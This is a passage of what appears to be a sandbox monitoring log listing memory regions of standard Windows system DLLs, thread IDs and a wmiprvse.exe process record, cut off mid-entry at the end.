Region: id = 5358 start_va = 0x7ff9eb220000 end_va = 0x7ff9eb230fff entry_point = 0x7ff9eb220000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5359 start_va = 0x7ff9eb2f0000 end_va = 0x7ff9eb343fff entry_point = 0x7ff9eb2f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 5360 start_va = 0x7ff9eb350000 end_va = 0x7ff9eb510fff entry_point = 0x7ff9eb350000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5361 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 5362 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 5363 start_va = 0x7ff9ebc10000 end_va = 0x7ff9ebc53fff entry_point = 0x7ff9ebc10000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5364 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5365 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5366 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5367 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5368 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5369 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5370 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5371 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5372 start_va = 0x7ff9ecb00000 end_va = 0x7ff9ecb68fff entry_point = 0x7ff9ecb00000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5373 start_va = 0x7ff9ecb70000 end_va = 0x7ff9ee094fff entry_point = 0x7ff9ecb70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5374 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5375 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5376 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5377 start_va = 0x7ff9ee300000 end_va = 0x7ff9ee4c4fff entry_point = 0x7ff9ee300000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5378 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5379 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5380 start_va = 0x7ff9ee6c0000 end_va = 0x7ff9ee6c7fff entry_point = 0x7ff9ee6c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5381 start_va = 0x7ff9ee710000 end_va = 0x7ff9ee76afff entry_point = 0x7ff9ee710000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5382 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9568 start_va = 0x3f77880000 end_va = 0x3f7797ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77880000" filename = "" Region: id = 9569 start_va = 0x3f77980000 end_va = 0x3f77a7ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77980000" filename = "" Region: id = 9570 start_va = 0x3f77b00000 end_va = 0x3f77bfffff entry_point = 0x0 region_type = private name = "private_0x0000003f77b00000" filename = "" Region: id = 9571 start_va = 0x3f77c00000 end_va = 0x3f77cfffff entry_point = 0x0 region_type = private name = "private_0x0000003f77c00000" filename = "" Region: id = 9572 start_va = 0x3f77d00000 end_va = 0x3f77dfffff entry_point = 0x0 region_type = private name = "private_0x0000003f77d00000" filename = "" Region: id = 9573 start_va = 0x3f77e00000 end_va = 0x3f77efffff entry_point = 0x0 region_type = private name = "private_0x0000003f77e00000" filename = "" Region: id = 9574 start_va = 0x3f77f00000 end_va = 0x3f77ffffff entry_point = 0x0 region_type = private name = "private_0x0000003f77f00000" filename = "" Region: id = 9575 start_va = 0x3f78000000 end_va = 0x3f780fffff entry_point = 0x0 region_type = private name = "private_0x0000003f78000000" filename = "" Region: id = 9576 start_va = 0x7ff704876000 end_va = 0x7ff704877fff entry_point = 0x0 region_type = private name = "private_0x00007ff704876000" filename = "" Region: id = 9577 start_va = 0x7ff704878000 end_va = 0x7ff704879fff entry_point = 0x0 region_type = private name = "private_0x00007ff704878000" filename = "" Region: id = 9578 start_va = 0x7ff70487a000 end_va = 0x7ff70487bfff entry_point = 0x0 region_type = private name = "private_0x00007ff70487a000" filename = "" Region: id = 9579 start_va = 0x7ff70487c000 end_va = 0x7ff70487dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70487c000" filename = "" Region: id = 9580 start_va = 0x7ff70487e000 end_va = 0x7ff70487ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70487e000" filename = "" Region: id = 9581 start_va = 0x7ff704880000 end_va = 0x7ff704881fff entry_point = 0x0 region_type = private name = "private_0x00007ff704880000" filename = "" Region: id = 9582 start_va = 0x7ff7048e4000 end_va = 0x7ff7048e5fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048e4000" filename = "" Region: id = 9583 start_va = 0x7ff9d6090000 end_va = 0x7ff9d61b1fff entry_point = 0x7ff9d6090000 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 9584 start_va = 0x7ff9d7870000 end_va = 0x7ff9d78bcfff entry_point = 0x7ff9d7870000 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 9585 start_va = 0x7ff9dfd10000 end_va = 0x7ff9dfd1afff entry_point = 0x7ff9dfd10000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 9586 start_va = 0x7ff9e2fb0000 end_va = 0x7ff9e2fb9fff entry_point = 0x7ff9e2fb0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10405 start_va = 0x3f72300000 end_va = 0x3f72300fff entry_point = 0x3f72300000 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 10406 start_va = 0x7ff9d5b90000 end_va = 0x7ff9d5e3ffff entry_point = 0x7ff9d5b90000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Thread: id = 109 os_tid = 0xbcc Thread: id = 110 os_tid = 0xbfc Thread: id = 111 os_tid = 0xbf8 Thread: id = 112 os_tid = 0xbf4 Thread: id = 113 os_tid = 0x7c4 Thread: id = 114 os_tid = 0x8f4 Thread: id = 115 os_tid = 0x8e8 Thread: id = 116 os_tid = 0x8e0 Thread: id = 117 os_tid = 0x840 Thread: id = 118 os_tid = 0x834 Thread: id = 119 os_tid = 0x724 Thread: id = 120 os_tid = 0x720 Thread: id = 121 os_tid = 0x710 Thread: id = 122 os_tid = 0x25c Thread: id = 123 os_tid = 0x70c Thread: id = 124 os_tid = 0x708 Thread: id = 125 os_tid = 0x6fc Thread: id = 126 os_tid = 0x6f8 Thread: id = 127 os_tid = 0x6f0 Thread: id = 128 os_tid = 0x6e4 Thread: id = 129 os_tid = 0x6d4 Thread: id = 130 os_tid = 0x6c8 Thread: id = 131 os_tid = 0x6c4 Thread: id = 132 os_tid = 0x6c0 Thread: id = 133 os_tid = 0x6a4 Thread: id = 134 os_tid = 0x684 Thread: id = 135 os_tid = 0x680 Thread: id = 136 os_tid = 0x67c Thread: id = 137 os_tid = 0x674 Thread: id = 138 os_tid = 0x668 Thread: id = 139 os_tid = 0x664 Thread: id = 140 os_tid = 0x65c Thread: id = 141 os_tid = 0x658 Thread: id = 142 os_tid = 0x650 Thread: id = 143 os_tid = 0x64c Thread: id = 144 os_tid = 0x644 Thread: id = 145 os_tid = 0x63c Thread: id = 146 os_tid = 0x628 Thread: id = 147 os_tid = 0x584 Thread: id = 148 os_tid = 0x560 Thread: id = 149 os_tid = 0x558 Thread: id = 150 os_tid = 0x4f8 Thread: id = 151 os_tid = 0x4a0 Thread: id = 152 os_tid = 0x230 Thread: id = 153 os_tid = 0x144 Thread: id = 154 os_tid = 0x168 Thread: id = 155 os_tid = 0x128 Thread: id = 156 os_tid = 0x124 Thread: id = 157 os_tid = 0x11c Thread: id = 158 os_tid = 0x120 Thread: id = 159 os_tid = 0x3f8 Thread: id = 160 os_tid = 0x3f4 Thread: id = 161 os_tid = 0x3e8 Thread: id = 162 os_tid = 0x3dc Thread: id = 163 os_tid = 0x3d8 Thread: id = 164 os_tid = 0x3c4 Thread: id = 165 os_tid = 0x3b4 Thread: id = 166 os_tid = 0x3a4 Thread: id = 167 os_tid = 0x32c Thread: id = 168 os_tid = 0x328 Thread: id = 169 os_tid = 0x408 Thread: id = 170 os_tid = 0x418 Thread: id = 233 os_tid = 0x68c Thread: id = 234 os_tid = 0x470 Thread: id = 235 os_tid = 0x528 Thread: id = 236 os_tid = 0x2f0 Thread: id = 237 os_tid = 0x134 Thread: id = 238 os_tid = 0x1f4 Thread: id = 239 os_tid = 0x9f0 Thread: id = 240 os_tid = 0x84 Thread: id = 241 os_tid = 0xb94 Thread: id = 242 os_tid = 0x9cc Thread: id = 244 os_tid = 0xbac Thread: id = 245 os_tid = 0xa8c Thread: id = 246 os_tid = 0xba8 Thread: id = 247 os_tid = 0xbb4 Thread: id = 248 os_tid = 0x2e8 Thread: id = 249 os_tid = 0xb68 Thread: id = 250 os_tid = 0x418 Thread: id = 251 os_tid = 0x408 Thread: id = 252 os_tid = 0x270 Thread: id = 253 os_tid = 0xbfc Thread: id = 254 os_tid = 0xbf8 Thread: id = 255 os_tid = 0xb7c Thread: id = 256 os_tid = 0xb0 Thread: id = 257 os_tid = 0x32c Thread: id = 258 os_tid = 0x50c Thread: id = 259 os_tid = 0x7d8 Thread: id = 260 os_tid = 0x494 Thread: id = 261 os_tid = 0x950 Thread: id = 262 os_tid = 0x338 Thread: id = 263 os_tid = 0x340 Thread: id = 264 os_tid = 0x274 Thread: id = 265 os_tid = 0x808 Thread: id = 266 os_tid = 0x314 Thread: id = 267 os_tid = 0x304 Thread: id = 268 os_tid = 0x744 Thread: id = 269 os_tid = 0x70c Thread: id = 270 os_tid = 0x6f0 Thread: id = 271 os_tid = 0x64c Thread: id = 272 os_tid = 0x6c8 Thread: id = 273 os_tid = 0x710 Thread: id = 274 os_tid = 0x6d4 Thread: id = 275 os_tid = 0x664 Thread: id = 297 os_tid = 0xb38 Thread: id = 298 os_tid = 0x910 Thread: id = 299 os_tid = 0x828 Thread: id = 300 os_tid = 0x80c Thread: id = 301 os_tid = 0x9e4 Thread: id = 302 os_tid = 0x84 Thread: id = 364 os_tid = 0x528 Thread: id = 365 os_tid = 0xbf8 Thread: id = 375 os_tid = 0x204 Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5aed000" os_pid = "0xab0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x324" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00031cc7" [0xc000000f] Region: id = 5386 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5387 start_va = 0xca2a000000 end_va = 0xca2a00ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a000000" filename = "" Region: id = 5388 start_va = 0xca2a010000 end_va = 0xca2a016fff entry_point = 0x0 region_type = private name = "private_0x000000ca2a010000" filename = "" Region: id = 5389 start_va = 0xca2a020000 end_va = 0xca2a033fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a020000" filename = "" Region: id = 5390 start_va = 0xca2a040000 end_va = 0xca2a0bffff entry_point = 0x0 region_type = private name = "private_0x000000ca2a040000" filename = "" Region: id = 5391 start_va = 0xca2a0c0000 end_va = 0xca2a0c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a0c0000" filename = "" Region: id = 5392 start_va = 0xca2a0d0000 end_va = 0xca2a0d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a0d0000" filename = "" Region: id = 5393 start_va = 0xca2a0e0000 end_va = 0xca2a0e1fff entry_point = 0x0 region_type = private name = "private_0x000000ca2a0e0000" filename = "" Region: id = 5394 start_va = 0xca2a0f0000 end_va = 0xca2a1adfff entry_point = 0xca2a0f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5395 start_va = 0xca2a1b0000 end_va = 0xca2a22ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2a1b0000" filename = "" Region: id = 5396 start_va = 0xca2a230000 end_va = 0xca2a236fff entry_point = 0x0 region_type = private name = "private_0x000000ca2a230000" filename = "" Region: id = 5397 start_va = 0xca2a240000 end_va = 0xca2a240fff entry_point = 0x0 region_type = private name = "private_0x000000ca2a240000" filename = "" Region: id = 5398 start_va = 0xca2a250000 end_va = 0xca2a250fff entry_point = 0x0 region_type = private name = "private_0x000000ca2a250000" filename = "" Region: id = 5399 start_va = 0xca2a260000 end_va = 0xca2a264fff entry_point = 0xca2a260000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 5400 start_va = 0xca2a270000 end_va = 0xca2a270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a270000" filename = "" Region: id = 5401 start_va = 0xca2a280000 end_va = 0xca2a280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a280000" filename = "" Region: id = 5402 start_va = 0xca2a290000 end_va = 0xca2a290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a290000" filename = "" Region: id = 5403 start_va = 0xca2a2a0000 end_va = 0xca2a2a2fff entry_point = 0xca2a2a0000 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 5404 start_va = 0xca2a2b0000 end_va = 0xca2a2b2fff entry_point = 0xca2a2b0000 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 5405 start_va = 0xca2a2c0000 end_va = 0xca2a2c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a2c0000" filename = "" Region: id = 5406 start_va = 0xca2a2e0000 end_va = 0xca2a3dffff entry_point = 0x0 region_type = private name = "private_0x000000ca2a2e0000" filename = "" Region: id = 5407 start_va = 0xca2a3e0000 end_va = 0xca2a45ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2a3e0000" filename = "" Region: id = 5408 start_va = 0xca2a490000 end_va = 0xca2a49ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2a490000" filename = "" Region: id = 5409 start_va = 0xca2a4a0000 end_va = 0xca2a7d6fff entry_point = 0xca2a4a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5410 start_va = 0xca2a7e0000 end_va = 0xca2a967fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a7e0000" filename = "" Region: id = 5411 start_va = 0xca2a970000 end_va = 0xca2aaf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2a970000" filename = "" Region: id = 5412 start_va = 0xca2ab00000 end_va = 0xca2abbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ca2ab00000" filename = "" Region: id = 5413 start_va = 0xca2abc0000 end_va = 0xca2acbffff entry_point = 0x0 region_type = private name = "private_0x000000ca2abc0000" filename = "" Region: id = 5414 start_va = 0xca2acc0000 end_va = 0xca2ad3ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2acc0000" filename = "" Region: id = 5415 start_va = 0xca2ad40000 end_va = 0xca2adbffff entry_point = 0x0 region_type = private name = "private_0x000000ca2ad40000" filename = "" Region: id = 5416 start_va = 0xca2adc0000 end_va = 0xca2ae3ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2adc0000" filename = "" Region: id = 5417 start_va = 0xca2ae40000 end_va = 0xca2aebffff entry_point = 0x0 region_type = private name = "private_0x000000ca2ae40000" filename = "" Region: id = 5418 start_va = 0xca2aec0000 end_va = 0xca2af3ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2aec0000" filename = "" Region: id = 5419 start_va = 0xca2af40000 end_va = 0xca2afbffff entry_point = 0x0 region_type = private name = "private_0x000000ca2af40000" filename = "" Region: id = 5420 start_va = 0xca2afc0000 end_va = 0xca2b03ffff entry_point = 0x0 region_type = private name = "private_0x000000ca2afc0000" filename = "" Region: id = 5421 start_va = 0xca2b040000 end_va = 0xca2b0bffff entry_point = 0x0 region_type = private name = "private_0x000000ca2b040000" filename = "" Region: id = 5422 start_va = 0x7df5ff9d0000 end_va = 0x7ff5ff9cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff9d0000" filename = "" Region: id = 5423 start_va = 0x7ff7175e6000 end_va = 0x7ff7175e7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e6000" filename = "" Region: id = 5424 start_va = 0x7ff7175e8000 end_va = 0x7ff7175e9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e8000" filename = "" Region: id = 5425 start_va = 0x7ff7175ea000 end_va = 0x7ff7175ebfff entry_point = 0x0 region_type = private name = "private_0x00007ff7175ea000" filename = "" Region: id = 5426 start_va = 0x7ff7175ec000 end_va = 0x7ff7175edfff entry_point = 0x0 region_type = private name = "private_0x00007ff7175ec000" filename = "" Region: id = 5427 start_va = 0x7ff7175ee000 end_va = 0x7ff7175effff entry_point = 0x0 region_type = private name = "private_0x00007ff7175ee000" filename = "" Region: id = 5428 start_va = 0x7ff7175f0000 end_va = 0x7ff7176effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7175f0000" filename = "" Region: id = 5429 start_va = 0x7ff7176f0000 end_va = 0x7ff717712fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7176f0000" filename = "" Region: id = 5430 start_va = 0x7ff717713000 end_va = 0x7ff717714fff entry_point = 0x0 region_type = private name = "private_0x00007ff717713000" filename = "" Region: id = 5431 start_va = 0x7ff717715000 end_va = 0x7ff717715fff entry_point = 0x0 region_type = private name = "private_0x00007ff717715000" filename = "" Region: id = 5432 start_va = 0x7ff717716000 end_va = 0x7ff717717fff entry_point = 0x0 region_type = private name = "private_0x00007ff717716000" filename = "" Region: id = 5433 start_va = 0x7ff717718000 end_va = 0x7ff717719fff entry_point = 0x0 region_type = private name = "private_0x00007ff717718000" filename = "" Region: id = 5434 start_va = 0x7ff71771a000 end_va = 0x7ff71771bfff entry_point = 0x0 region_type = private name = "private_0x00007ff71771a000" filename = "" Region: id = 5435 start_va = 0x7ff71771c000 end_va = 0x7ff71771dfff entry_point = 0x0 region_type = private name = "private_0x00007ff71771c000" filename = "" Region: id = 5436 start_va = 0x7ff71771e000 end_va = 0x7ff71771ffff entry_point = 0x0 region_type = private name = "private_0x00007ff71771e000" filename = "" Region: id = 5437 start_va = 0x7ff717b10000 end_va = 0x7ff717b8efff entry_point = 0x7ff717b10000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 5438 start_va = 0x7ff9dfdd0000 end_va = 0x7ff9dfe1dfff entry_point = 0x7ff9dfdd0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 5439 start_va = 0x7ff9dfe20000 end_va = 0x7ff9dffedfff entry_point = 0x7ff9dfe20000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 5440 start_va = 0x7ff9e0460000 end_va = 0x7ff9e0484fff entry_point = 0x7ff9e0460000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 5441 start_va = 0x7ff9e0490000 end_va = 0x7ff9e04a3fff entry_point = 0x7ff9e0490000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 5442 start_va = 0x7ff9e04b0000 end_va = 0x7ff9e05a7fff entry_point = 0x7ff9e04b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 5443 start_va = 0x7ff9e0a50000 end_va = 0x7ff9e0a65fff entry_point = 0x7ff9e0a50000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 5444 start_va = 0x7ff9e1ff0000 end_va = 0x7ff9e206efff entry_point = 0x7ff9e1ff0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 5445 start_va = 0x7ff9e4b30000 end_va = 0x7ff9e4b40fff entry_point = 0x7ff9e4b30000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 5446 start_va = 0x7ff9e8160000 end_va = 0x7ff9e8170fff entry_point = 0x7ff9e8160000 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 5447 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5448 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5449 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5450 start_va = 0x7ff9eadc0000 end_va = 0x7ff9eadebfff entry_point = 0x7ff9eadc0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5451 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5452 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5453 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 5454 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5455 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5456 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5457 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5458 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5459 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = 